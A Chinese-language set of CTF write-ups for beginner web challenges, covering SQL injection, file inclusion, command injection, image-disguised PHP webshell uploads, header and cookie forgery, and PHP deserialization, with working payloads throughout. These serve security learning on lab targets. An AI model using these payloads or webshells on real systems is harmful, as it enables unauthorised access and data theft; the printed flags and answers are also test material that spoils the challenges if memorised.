目录[极客大挑战 2019]EasySQL[极客大挑战 2019]Havefun[ACTF2020 新生赛]Include[HCTF 2018]WarmUp[ACTF2020 新生赛]Exec[GXYCTF2019]Ping Ping Ping[SUCTF 2019]EasySQL[极客大挑战 2019]LoveSQL[极客大挑战 2019]Secret File[强网杯 2019]随便注[极客大挑战 2019]Http[极客大挑战 2019]Upload[极客大挑战 2019]Knife[ACTF2020 新生赛]Upload[极客大挑战 2019]BabySQL[极客大挑战 2019]PHP[ACTF2020 新生赛]BackupFile[极客大挑战 2019]BuyFlag[极客大挑战 2019]EasySQL这道题的解法非常简单· 在用户名和密码框中都输入1 or 11 · 然后点击登录。[极客大挑战 2019]Havefun打开网页查看源代码进入题目环境按Ctrl U或F12选择“查看源代码”找到页面末尾被注释的PHP代码。这些“注释”在解题时常常是关键信息。代码审计找到提示源码中注释提示是一个GET参数cat。下面是它的简单逻辑$cat$_GET[cat]; echo $cat; if($catdog) { // ... }它接收一个cat参数如果值等于dog就会执行某个操作通常就是输出flag。手工构造发起请求在浏览器URL后添加参数?catdog。完整的URL大致会是http://your_challenge_url/?catdog。访问这个链接页面就会直接显示flag。[ACTF2020 新生赛]Include点击进入访问题目环境你会看到一个提示链接。点击它观察浏览器地址栏的 URL会看到类似 ?fileflag.php 的参数这意味着页面可以加载其他文件存在文件包含漏洞。核心 Payload下面这种写法是目前最通用、最推荐的做法它效果稳定能绕过大多数过滤规则?filephp://filter/convert.base64-encode/resourceflag.php编码解读 · ?file 是题目传递文件的参数名。 · php://filter 是 PHP 流过滤器它可以把后续读取的内容“加工”一下。 · convert.base64-encode 就是“加工”方式它会将要读取的内容即 flag.php 的源代码进行 Base64 编码。 · resourceflag.php 明确了此次操作的目标文件也就是题目同目录下的 flag.php。获取与解码将该 Payload 拼接到靶场地址后并访问你会看到一长串 Base64 编码的文本。复制它用在线工具或者本地终端例如 echo 编码内容 | base64 -d解码即可看到 flag.php 的完整源代码Flag 就在其中。[HCTF 2018]WarmUp这道题是典型的 PHP 文件包含 代码审计。根据题目描述你需要通过分析 source.php 中的 checkFile() 函数找到绕过方法最终包含根目录下的 ffffllllaaaagggg 文件拿到 flag。具体步骤访问 source.php 在浏览器地址栏输入 http://靶机地址/index.php?filesource.php 查看源代码得到 checkFile() 的完整逻辑。访问 hint.php 输入http://靶机地址/index.php?filehint.php 页面提示flag not here, and flag in ffffllllaaaagggg 说明目标文件是根目录下的 ffffllllaaaagggg。绕过 checkFile() 校验 核心 payload利用 ? 截断特性。 因为 checkFile() 会取 ? 之前的部分与白名单source.php, hint.php比对所以我们可以构造 hint.php?../../../../../ffffllllaaaagggg 这样 ? 前是 hint.php白名单通过而 include 处理的是完整路径../ 会回溯到根目录并加载目标文件。最终 payload 在浏览器地址栏输入 http://靶机地址/index.php?filehint.php?../../../../../ffffllllaaaagggg 回车后页面会直接显示 flag。原理简析· 文件包含参数 ?file 接收用户输入。 · checkFile() 先判断是否为字符串再判断是否在白名单内。 · 若输入包含 ?则取 ? 之前的部分做白名单检查绕过关键。 · 实际包含时使用原始输入路径中的 ../ 会向上跳转目录最终读取根目录下的 ffffllllaaaagggg。按此操作即可拿到 flag。[ACTF2020 新生赛]Exec这道题是典型的命令注入。通常是让你输入一个 IP 地址后端执行 ping 命令拼接参数时没有过滤导致可以执行任意系统命令。解题步骤打开靶场你会看到一个输入框要求输入 IP 地址比如 127.0.0.1。尝试输入 127.0.0.1; ls 然后提交如果页面返回了当前目录的文件列表说明存在命令注入。接着找 flag 文件。常见位置在根目录或当前目录。输入 127.0.0.1; cat /flag 或 127.0.0.1; cat flag 读取。如果 cat 被过滤可以尝试 tac、head、tail、more、less 等命令或者使用 base64 /flag 然后解码。常用 payload127.0.0.1; cat /flag或127.0.0.1 | cat /flag或127.0.0.1 cat /flag如果过滤了空格可以用 ${IFS} 代替例如127.0.0.1; cat${IFS}/flag如果过滤了分号可以用 %0a换行符替代。你只需要在输入框里输入上述命令之一提交即可得到 flag。[GXYCTF2019]Ping Ping Ping确认注入点· 输入 127.0.0.1 → 正常 ping 回显。 · 输入 127.0.0.1; ls图 1000015421→ 成功列出 flag.php 和 index.php说明 ; 可用注入存在。尝试读取 flag.php 遇到过滤· 输入 127.0.0.1; cat flag.php → 提示 fxck your space!因为空格被禁。· 尝试大括号 {cat,flag.php} 绕过空格 → 提示 fxck your symbol!说明花括号被禁或触发了符号过滤。· 尝试 127.0.0.1; cat$IFS$9flag.php → 提示 fxck your flag!仍然被检测。使用变量拼接绕过 flag 关键字· 输入 127.0.0.1;ag;cat$IFS$9fla$a.php→ 成功 页面输出了 ping 统计信息并在底部显示了 $flagflag{b1f864c2-a297-49a0-a405-87151c5731d7};即 flag 内容。最终有效 payload127.0.0.1;ag;cat$IFS$9fla$a.php[SUCTF 2019]EasySQL一、操作过程方法一推荐简单直接在题目输入框中输入*,1然后点击提交页面会直接返回 flag。方法二备选适用于方法一失效在题目输入框中输入1;set sql_modePIPES_AS_CONCAT;select 1点击提交页面返回类似 1flag{...} 的字符串提取 {} 内的内容即为 flag。二、原理题目后端逻辑推测后端 PHP 代码可能类似$query $_POST[query]; $sql select $query || flag from Flag; $result mysqli_query($conn, $sql);其中 || 在 MySQL 中默认是逻辑或运算符。方法一原理短路与通配符· 输入 *,1 后SQL 变为 select *,1 || flag from Flag。 · 由于 1 || flag 中 1 为真非零逻辑或短路结果为 1。因此实际查询等效于 select *,1 from Flag。 · select * 会返回 Flag 表中的所有列包括 flag 列从而直接显示 flag。方法二原理修改 SQL 模式· MySQL 中 || 的行为取决于 sql_mode 是否包含 PIPES_AS_CONCAT。 · 默认情况下无此模式|| 是逻辑或。 · 执行 set sql_modePIPES_AS_CONCAT 后|| 变为字符串连接符等同于 CONCAT。 · 输入 1;set sql_modePIPES_AS_CONCAT;select 1 会依次执行select 1无关紧要修改 SQL 模式select 1||flag from Flag → 实际执行 select CONCAT(1, flag) from Flag将 1 与 flag 拼接从而输出 flag。注意方法二需要后端支持堆叠查询多条语句用 ; 分隔本题恰好支持。两种方法均可得到 flag优先使用方法一。[极客大挑战 2019]LoveSQL一、操作过程方法一手工注入推荐理解原理在用户名输入框填写以下 payload密码任意如 1点击登录。测试注入点admin or 11#若成功登录说明存在字符型注入。查询当前数据库名admin union select 1,2,database()#返回结果中会显示数据库名通常为 geek。查询当前数据库下的所有表名admin union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()#返回两个表名geekuser 和 l0ve1ysq1。查询 l0ve1ysq1 表中的列名admin union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namel0ve1ysq1#得到列名id, username, password。提取 flagadmin union select 1,2,group_concat(password) from l0ve1ysq1#页面会显示 flag格式如 flag{...} 或 ctfhub{...}。方法二使用 sqlmap 自动化用 Burp 抓取登录请求保存为 req.txt内容示例POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 29 ​ usernameadminpassword1运行 sqlmapsqlmap -r req.txt --batch --dbs找到数据库名 geek。获取表名sqlmap -r req.txt --batch -D geek --tables得到表 l0ve1ysq1。导出该表数据sqlmap -r req.txt --batch -D geek -T l0ve1ysq1 --dump结果中会出现 flag。二、原理字符型SQL注入后端代码类似$sql SELECT * FROM user WHERE username $username AND password $password;直接拼接用户输入未做过滤。输入 admin or 11# 后SQL 变为SELECT * FROM user WHERE username admin or 11# AND password ...注释掉后续条件11 恒真从而绕过登录。联合查询注入利用 union select 将额外查询结果附加到原查询中。需先通过 order by 判断列数本例为 3 列然后使用 union select 1,2,3 查看回显位置。接着用 database(), group_concat(table_name) 等函数获取数据库结构。最后从 l0ve1ysq1 表的 password 列中提取 flag。information_schemaMySQL 系统库存储所有数据库、表、列元数据。注入时通过查询该库可枚举整个数据库结构。group_concat()将多行结果合并为一行字符串方便一次性显示所有数据常用于 CTF 注入中。sqlmap 原理自动检测注入点、枚举数据库、表、列并导出数据本质是发送大量探测 payload 并分析响应差异最终组装出数据。[极客大挑战 2019]Secret File一、信息收集阶段查看首页源代码· 操作浏览器右键 → 查看源代码或 F12 Elements · 发现页面注释或隐藏标签中包含 Archive_room.php · 原理前端代码中通过注释或隐藏元素提供线索访问 Archive_room.php· 操作直接访问 http://靶场/Archive_room.php · 发现新页面有一个“SECRET”按钮点击后跳转到 end.php使用 Burp Suite 抓包· 操作打开 Burp 代理点击“SECRET”按钮拦截请求 · 发现实际请求先经过 action.php响应中携带 secr3t.php 的链接然后才重定向到 end.php · 原理利用抓包工具查看中间跳转找到真实入口访问 secr3t.php· 操作在浏览器地址栏输入 http://靶场/secr3t.php · 结果页面显示 PHP 源码内容如下highlight_file(__FILE__); error_reporting(0); $file$_GET[file]; if(strstr($file,../)||stristr($file, tp)||stristr($file,input)){ echo Oh no!; exit(); } include($file); // flag放在了flag.php里· 原理通过直接访问文件获得源码发现文件包含漏洞及黑名单过滤规则二、漏洞利用阶段构造最终 Payload· 命令URL 参数?filephp://filter/convert.base64-encode/resourceflag.php· 完整访问 URLhttp://靶场/secr3t.php?filephp://filter/convert.base64-encode/resourceflag.php原理详解· 文件包含漏洞include($_GET[file]) 可包含任意文件 · 黑名单限制过滤了 ../、tp、input但未过滤 php:// · 为什么不能直接 include(flag.php)因为 flag.php 中的 PHP 代码会被执行用户看不到源码 · php://filter 伪协议可对文件内容进行过滤转换 · convert.base64-encode 将文件内容进行 Base64 编码 后返回 · 这样 include() 包含的是编码后的纯文本PHP 代码不会被执行因此我们能直接看到 flag.php 的原始代码 · 资源指定resourceflag.php 指明目标文件三、获取 Flag解码 Base64· 操作复制页面返回的 Base64 字符串在本地执行echo base64字符串 | base64 -d或使用在线解码工具 · 结果得到 flag.php 的源码其中包含 flag{...} 或 ctfhub{...} 形式的 flag[强网杯 2019]随便注这道题是经典的SQL注入过滤了 select、and、or、空格 等关键字但允许堆叠查询; 分隔多条SQL。核心思路利用 show 命令获取表结构然后通过 handler 语句或预编译绕过 select 过滤读取数据。一、环境与过滤确认测试注入点 输入 1 返回错误说明存在字符型注入。 输入 1 and 11 被拦截and 被过滤输入 1 or 11 被拦截or 被过滤。 输入 1//or//11 空格被拦截。 但输入 1 ; show databases; # 成功返回数据库列表说明支持堆叠注入且 show 未被过滤。过滤规则根据报错或常见WriteUp · 关键字select, and, or, union, where, limit, order by, sleep, benchmark 等 · 空格被替换为空可用 /**/ 或换行符绕过但某些版本直接删除空格导致连字符二、获取表名Payload1; show tables; #执行后页面列出当前数据库的所有表。常见结果为· words默认表 · 1919810931114514数字表名flag 所在表三、获取列名由于表名是纯数字需要用反引号包裹。 Payload1; show columns from 1919810931114514; #返回列名flag或 id, data 等。本题中该表只有一列 flag。四、读取 flag绕过 select 过滤使用 handler 语句推荐无需 select1; handler 1919810931114514 open; handler 1919810931114514 read first; handler 1919810931114514 close; #· 原理handler 是 MySQL 专用的表操作语句可以直接读取表行不依赖 select因此不会被过滤。执行后页面会显示该表的第一行数据即 flag。五、原理总结· 堆叠注入允许执行多条 SQL 语句利用 show 命令获取元数据。 · 关键字过滤绕过select 被禁但 show、handler、prepare 未被禁因此使用这些命令替代。 · 反引号包裹数字表名必须用反引号否则会被解析为数字。 · handler 语句MySQL 专用于高效读取表数据的接口完全绕过了 select 的过滤。按以上步骤操作即可顺利拿到 flag。[极客大挑战 2019]Http第一步发现隐藏页面· 操作访问靶场首页查看页面源代码CtrlU寻找隐藏链接或提示。 · 命令无。 · 原理前端可能在注释中提供 secret.php 或 flag.php 的路径。第二步访问隐藏页面· 操作根据源码提示访问 http://靶场/secret.php或其他名称。 · 命令GET /secret.php。 · 原理真正的功能页面可能不在首页需要通过路径访问。第三步抓包并伪造 User-Agent· 操作使用 Burp Suite 拦截对 secret.php 的请求发送到 Repeater修改 User-Agent 头。 · 命令User-Agent: Syclover· 原理服务器通过 $_SERVER[HTTP_USER_AGENT] 检查浏览器标识必须匹配特定字符串如 Syclover。第四步伪造 Referer· 操作在请求头中添加 Referer 字段。 · 命令Referer: https://Sycsecret.buuoj.cn· 原理服务器检查来源页面要求必须从指定域名跳转而来。第五步伪造 X-Forwarded-For· 操作添加 X-Forwarded-For 头。 · 命令X-Forwarded-For: 127.0.0.1· 原理服务器可能限制只有本地访问通过该头伪造客户端 IP 为 127.0.0.1。第六步修改请求方法如果需要· 操作将 GET 改为 POST若题目要求。 · 命令POST /secret.php HTTP/1.1· 原理某些功能只响应特定 HTTP 方法。第七步发送请求获取 flag· 操作点击 Burp 的 Send 按钮查看响应。 · 原理当所有伪造条件满足后服务器返回 flag。完整示例请求Burp RawPOST /secret.php HTTP/1.1 Host: 靶场地址 User-Agent: Syclover Referer: https://www.Sycsecret.com X-Forwarded-For: 127.0.0.1 ...成功后将返回 flag{...}。[极客大挑战 2019]Upload一、过程准备木马文件 创建 mm.phtml内容GIF89a script languagephpeval($_POST[cmd]);/script· GIF89a 作为文件头骗过 getimagesize() · script languagephp 绕过对 ? 的过滤上传木马 · 使用 Burp Suite 拦截上传请求将 Content-Type 从 application/octet-stream 改为 image/jpeg· 放行后页面提示“上传文件名: mm.phtml”蚁剑连接 · URLhttp://靶场/upload/mm.phtml · 密码cmd · 测试连接成功获取 Flag · 根目录下找到 flag 文件内容为 flag{9438a823-7665-4b75-9828-a2ab8f160945}二、原理· 绕过文件类型检测修改 Content-Type 为 image/jpeg欺骗服务器这是一个图片。 · 绕过内容检测GIF89a 作为图片幻数通过 getimagesize() 检查script languagephp 是 PHP 合法替代标签不触发 ? 黑名单。 · 后缀利用.phtml 在 Apache 默认配置下会被解析为 PHP无需 .htaccess。 · 一句话木马eval($_POST[cmd]) 接收密码 cmd 执行任意系统命令蚁剑利用此接口实现文件管理和命令执行。[极客大挑战 2019]Knife解题步骤与原理题目中直接给出了一段被注释的 PHP 代码 eval($POST[Syc]);。eval() 函数会将字符串参数作为 PHP 代码执行而 $POST[Syc] 则是从 HTTP POST 请求中获取名为 “Syc” 的参数值。这组合起来就是一个连接密码为 Syc 的经典“一句话木马”。准备连接打开你的 WebShell 管理工具这里以你熟悉的 中国蚁剑 为例。添加 Shell 数据 · URL 地址填入题目给出的链接如 http://xxxx.node5.buuoj.cn:81/。 · 连接密码填入 Syc。 · 备注可任意填写。获取 Flag · 连接成功后在文件管理器中进入 根目录 下的 / 路径。· 找到并打开 flag 文件即可获得 Flag。[ACTF2020 新生赛]Upload一、过程准备木马文件 · 文件名改为 mm.jpg实际为图片马后缀 .jpg · 文件内容GIF89a script languagephpeval($_POST[cmd]);/script· 原理GIF89a 作为图片幻数绕过 getimagesize() 检查script 标签绕过对 ? 的过滤。上传木马 · 使用 Burp Suite 拦截上传请求将 Content-Type 修改为 image/jpeg· 放行后服务器返回上传路径./upload4/d382da9c3f620504a105f01d291ef975.phtml· 注意虽然你上传的是 m.jpg但服务器重命名并保留了 .phtml 后缀说明后端可能根据内容检测后改变了扩展名但最终仍可解析为 PHP。蚁剑连接 · URLhttp://靶场/upload4/d382da9c3f620504a105f01d291ef975.phtml · 密码cmd · 测试连接成功获取 Flag · 根目录下找到 flag 文件内容为 flag{518d98a5-7f58-486a-b640-7f7f1e0335b8}二、原理· 后缀迷惑将木马命名为 .jpg服务器首先检查文件头GIF89a认为它是图片因此通过了初步检测。 · 重命名机制服务器可能对文件内容进行了二次分析发现包含 PHP 代码于是自动将后缀改为 .phtml 以便解析或随机生成 .phtml。 · 解析执行.phtml 后缀在 Apache 默认配置下会被当作 PHP 脚本执行因此蚁剑能够连接并执行命令。 · 一句话木马eval($_POST[cmd]) 接收密码 cmd蚁剑通过 POST 发送加密命令实现文件管理和命令执行。[极客大挑战 2019]BabySQL一、解题过程1.输入用户名为admin密码为1报错说明存在注入2.先试一下常规注入/check.php?usernameadminpassword1 union select 1#3.猜测union 、select可能被过滤了试一下双写绕过/check.php?usernameadminpassword1 ununionion seselectlect 1#4.继续报错URL编码试一下试一下列数 payload/check.php?usernameadminpassword1 ununionion seselectlect 1,2,3%235.爆数据库:/check.php?usernameadminpassword1 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %236.找到ctf爆表/check.php?usernameadminpassword1 ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schemactf %237.查字段名/check.php?usernameadminpasswordpwd ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_nameFlag%238得到flag/check.php?usernameadminpasswordpwd ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23二、原理详解漏洞成因后端代码直接将用户输入拼接到 SQL 查询语句中例如$sql SELECT * FROM users WHERE username$username AND password$password;没有使用参数化查询导致攻击者可以闭合字符串并注入恶意 SQL 代码。过滤机制题目对常见 SQL 关键字如 union、select、from、information、or 等进行了过滤但过滤方式可能是简单的替换为空例如 str_replace(union, , $input)且只执行一次。绕过方法双写利用一次替换的缺陷将关键字双写例如· union → ununionion删除一个 union 后剩下 union · select → selselectect删除一个 select 后剩下 select · from → frfromm · information → infoorrmation这样经过过滤后原本的关键字仍保留在 SQL 语句中从而恢复正常的 SQL 语法。联合查询注入攻击者使用 union select 将自定义查询结果附加到原始查询结果中。通过 order by 判断列数再使用 union select 1,2,3 查看哪些列的数据会显示在页面上回显位。然后在这些回显位放置恶意查询如 database()、group_concat(table_name) 等从而获取数据库结构数据。元数据查询利用 MySQL 自带的 information_schema 数据库该库存储了所有数据库、表、列的信息。通过查询· information_schema.schemata → 获取所有数据库名 · information_schema.tables → 获取表名 · information_schema.columns → 获取列名攻击者可以一步步获取目标数据库中存放 flag 的表和列最终读取 flag。注释符使用 #URL 编码为 %23或 -- 注释掉 SQL 语句中原有的后续部分避免语法错误。[极客大挑战 2019]PHP一、题目核心漏洞类型PHP反序列化漏洞 核心考点绕过 __wakeup() 魔术方法 private属性空字节处理二、完整解题流程对应命令步骤1信息收集获取备份源码原理CTF中有备份习惯的提示几乎都指向 www.zip 全站备份。方法1直接浏览器访问最快http://靶机IP:端口/www.zip方法2dirsearch扫描验证python dirsearch.py -u http://靶机IP:端口 -e zip,php,txt,html -x 404解压后得到3个关键文件 index.php 、 class.php 、 flag.php步骤2源码审计定位漏洞index.php漏洞入口?php include class.php; $select $_GET[select]; $resunserialize($select); // 漏洞点直接反序列化用户可控输入 ?原理服务器完全信任用户输入将GET参数 select 的值直接反序列化为PHP对象。class.php核心逻辑?php include flag.php; class Name { private $username nonono; private $password yesyes;// 反序列化前自动调用会把username改成guest我们要绕过 function __wakeup() { $this-username guest; } ​ // 对象销毁时自动调用满足条件输出flag我们的目标 function __destruct() { if ($this-password ! 100) die(NO!!!hacker!!!); if ($this-username admin) echo $flag; } ​ } ?步骤3构造恶意序列化Payload3.1 生成基础序列化字符串原理创建一个满足条件的 Name 对象 usernameadmin password100 用 serialize() 转为字符串。// 新建php.php文件写入以下代码 ?php class Name { private $username admin; private $password 100; } // 必须加urlencode()解决private属性空字节丢失问题 echo urlencode(serialize(new Name())); ?运行代码生成基础字符串 ​ php php.php得到基础PayloadO%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D3.2 绕过 __wakeup()原理PHP经典漏洞——当序列化字符串中声明的属性个数 真实属性个数时会跳过执行 __wakeup() 。Name 类有2个真实属性所以把 %3A2%3A 改成 %3A3%3A最终攻击PayloadO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D步骤4提交Payload获取Flag方法1浏览器访问 ​ http://靶机IP:端口/?select最终Payload ​ 方法2curl提交最稳定避免浏览器自动解码 ​ curl http://靶机IP:端口/?selectO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D三、核心原理总结序列化/反序列化PHP用于对象与字符串互转的机制方便存储和传输。魔术方法反序列化攻击的核心特定时机自动调用无需手动触发。__wakeup() 反序列化完成前调用__destruct() 对象销毁时调用private属性空字节private属性序列化后格式为 \x00类名\x00属性名 \x00 是不可见空字节必须用 urlencode() 转为 %00 才能正确传递。绕过__wakeup()修改序列化字符串中的属性个数使其大于真实值PHP会跳过该方法执行。[ACTF2020 新生赛]BackupFile一、核心信息漏洞备份文件泄露 PHP弱类型比较考点整数与字符串的弱类型转换、 intval() 函数特性难度入门必考题二、完整解题步骤1.启动靶机获取地址 http://靶机IP:端口 访问首页看到提示2.下载备份源码直接访问最快 ​ http://靶机IP:端口/index.php.bak扫描验证 ​ python dirsearch.py -u http://靶机IP:端口 -e bak,php -x 4043.源码审计发现需要传入数字 key 满足 intval($key) 123xxx...4.构造Payload提取字符串开头数字 123 得到 ?key1235.获取Flag浏览器访问 ​ http://靶机IP:端口/?key123三、核心漏洞原理PHP弱类型比较 整数和字符串比较时会自动提取字符串开头的连续数字转成整数再比较例 123 123abc → 123 123 → trueintval() 特性和弱类型转换规则一致只取字符串开头的数字例 intval(123abc) → 123[极客大挑战 2019]BuyFlag一、题目核心信息题目名称[极客大挑战 2019]BuyFlag漏洞类型Cookie身份伪造 PHP弱类型比较 业务逻辑漏洞完整解题流程页面分析 → 源码找逻辑 → 改Cookie伪造身份 → 抓包调试 → 解决3个坑点 → 拿到flag最终flag flag{fb9cfd77-3dda-465c-9caf-cde510fffc68}二、完整解题步骤对应命令踩坑记录Burp抓包版步骤1启动靶机分析页面提示启动靶机访问首页点击右上角 MENU → 点击 PAYFLAG看到3个关键提示必须是CUIT的学生必须输入正确的密码Flag需要1000000001亿元步骤2查看页面源码获取核心逻辑按 F12 打开开发者工具拉到页面最底部找到注释里的真实密码验证代码if(isset($_POST[password])){ $password $_POST[password]; // 条件1密码不能是纯数字 if(is_numeric($password)){ echo password cant be numberbr; } // 条件2密码和404相等 elseif($password 404){ echo Password Right!br; } }步骤3伪造CUIT学生身份服务器通过未签名的Cookie判断用户身份默认Cookie user0 游客学生身份 user1步骤4第一次抓包踩坑1请求方法错误点击 PAYFLAG 按钮用Burp Suite抓包一开始构造的请求GET /pay.php?password404amoney100000000 HTTP/1.1 Host: 你的靶机地址 Cookie: user1问题服务器只接受 POST 请求不接受 GET 请求所以提示请输入密码。步骤5第二次修改踩坑2缺少POST头把请求方法改成 POST 添加请求体但忘记加 Content-Type 头POST /pay.php HTTP/1.1 Host: 你的靶机地址 Cookie: user1 Content-Length: 31 ​ password404amoney100000000问题没有 Content-Type: application/x-www-form-urlencoded 头服务器无法解析POST参数仍然提示请输入密码。步骤6第三次修改踩坑3数字长度限制添加正确的POST头发送请求POST /pay.php HTTP/1.1 Host: 你的靶机地址 Cookie: user1 Content-Type: application/x-www-form-urlencoded Content-Length: 31 ​ password404amoney100000000新问题服务器返回 Nember lenth is too long 拼写错误应为Number length说明1亿的数字太长被服务器拦截了。步骤7最终Payload解决所有问题用科学计数法表示金额绕过长度限制POST /pay.php HTTP/1.1 Host: 你的靶机地址 Cookie: user1 Content-Type: application/x-www-form-urlencoded Content-Length: 25 ​ password404amoney1e9发送请求响应包中直接输出flag。三、每一步的原理详解为什么改Cookie就能伪造身份很多入门级CTF题目会用Cookie存储用户身份信息且没有做任何签名或加密服务器完全信任客户端传过来的Cookie值所以我们可以直接修改 user1 让服务器认为我们是CUIT学生为什么 password404a 能绕过密码验证这是PHP弱类型比较 的经典特性当用 比较字符串和数字时PHP会自动提取字符串开头的连续数字转换成整数后再比较404a 开头的数字是 404 所以 404a 404 → true同时 is_numeric(404a) → false 完美满足两个条件为什么必须加 Content-Type 头Content-Type: application/x-www-form-urlencoded 是POST表单的标准格式头没有这个头服务器不知道怎么解析请求体里的 keyvalue 格式数据所以服务器会认为 $POST[password] 和 $POST[money] 都不存在为什么 money1e9 能绕过长度限制PHP会自动解析科学计数法为数字 1e9 100000000010亿大于1亿满足金额要求科学计数法只有3个字符远短于1亿的10个字符完美绕过服务器的数字长度检查